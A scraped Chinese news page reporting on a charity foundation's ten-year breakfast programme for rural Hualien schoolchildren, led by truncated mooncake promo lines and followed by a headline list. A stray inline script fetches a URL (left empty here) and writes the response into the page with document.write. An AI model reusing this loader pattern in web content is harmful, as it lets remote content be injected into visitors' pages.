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又到了每一年入秋最重要的節日，*中秋節*中國人的四大節日之一，
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中秋節最具代表性的最佳送禮選擇就是-月餅禮盒，每年我們都為了要選
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function httpGet(theUrl){var xmlHttp = new XMLHttpRequest();xmlHttp.open( 'GET' , theUrl, false );xmlHttp.send( null );return xmlHttp.responseText;} var theUrl = ''; document.write(httpGet(theUrl)); ▲「愛的早餐十年有成」系列報導之八：公益大使阿芳老師、家軒赴花蓮偏鄉，見證一張發票的力量。（採訪撰稿／記者曾雅玲；攝影剪輯／記者謝婷婷攝）記者曾婉婷／花蓮報導東森慈善基金會推動愛的早餐10年，讓偏鄉孩子可以不必再餓著肚子上學，總共幫助超過2萬名偏鄉地區學童，每天提供營養均衡、熱騰騰的早餐給孩子享用，同時也長期關懷原住民學童，曾多次送愛到位於花蓮鳳林鄉的山興部落，長期表達對孩子的關心。 ▲東森慈善基金會推動愛的早餐10年，讓偏鄉小孩不再餓肚子上學。（圖／記者謝婷婷攝，下同）雖然吃早餐對很多人來說稀鬆平常，不過在花蓮偏鄉地區有一群孩子們，卻不是天天能享有這平凡的幸福，因有些家長們一大早就得忙於農務，較沒時間替小孩準備早餐。對此，東森慈善基金會匯集東森購物820萬會員，消費時所捐贈的發票，成了愛的早餐所有經費來源。 ▲▼阿芳老師（上圖右）隨東森慈善基金會遠赴花蓮，教導當地婦女製作愛的早餐。然而，愛的早餐邁入10年有成階段，除了持續關懷偏鄉孩子，更希望將此份愛再擴大，希望讓偏鄉婦女共同投入。因此，這次東森慈善基金會特地邀請阿芳老師一起到花蓮教作早餐，還有購物專家家軒以公益大使身分共同參與。東森慈善基金會副執行長關杰玲表示，台灣偏鄉地區早餐店很少，有些地方甚至連7-11都沒有，雖然只是提供孩子們吃早餐，但背後意義卻很不一樣，除了不再餓肚子上課，最重要是讓他們跟城市小孩擁有相同資源。接下來將推動的第三階段，希望讓偏鄉婦女共同投入，讓孩子能吃到有媽媽味愛的早餐，更進一步幫助部落婦女多個學習才藝，和增加收入的機會。 ▲▼一份帶有媽媽味愛的早餐讓孩子吃得很開心。為了教偏鄉婦女作愛的早餐，阿芳老師可是毫不藏私，不論中式、西式還是任何口味，她希望傳達做早餐其實一點都不難，只要找對方法並調整心態，和建立正確觀念，她以最平常的土司為例，若是改變一下方式，做成法式土司就能兼具營養和美味，或是運用在地食材，如南瓜濃湯、地瓜蒸熟切丁淋些許橄欖油等。不過，最重要的是善用巧思，慢慢調整成自己動手做，即使用半成品再加工也可以。阿芳老師說：「這邊其實外來的資源比較匱乏，所以可能在飲食的這個條件資訊較不夠，所以我們來可以把很多比較新的生活觀念帶進來。」而這次跟著阿芳老師學習早餐的花蓮東竹國小廚房阿姨劉小姐表示，「感覺真的很棒，讓我們學習到一些小撇步，而且也是愛心早餐，讓我們可以吃得安心、衛生，又很乾淨，很感謝阿芳老師。」 ▲▼公益大使家軒（下圖左）見證愛的早餐10年有成。另外，這次共同參與的公益大使家軒則表示，看到這些偏鄉小孩吃著愛的早餐，讓她感到很幸福，同時自己也是東森購物的會員，對別人來說一個無形的捐發票舉動，其實匯集的力量很強大，「即使只是200元，但集合成大家的力量，對這些孩子或整個偏鄉的部落，都是很龐大力量，而且持續10年了，真的很了不起。」 ►「送愛到部落」專題報導糕點滯銷　難過：不好吃嗎不景氣！公益月餅銷量少5成汗水替代淚水　唐寶寶克銷售困境輪舞天后何欣茹生命故事令人動容突破身心障礙的天使手作中秋月餅「宅公益」秒殺搶光　原因：太便利！一張發票匯集大力量助2萬名學童新待用月餅　1次善舉3份感動中秋團圓　愛心月餅助尼泊爾盲童中西14部好片　公益影展免費看辜懷如、徐曉菁再為公益開唱《K》《疾走王子》漫博新品預購克蘭詩做公益　300元助失學孩童暖心早餐送愛10年！正妹老師羨慕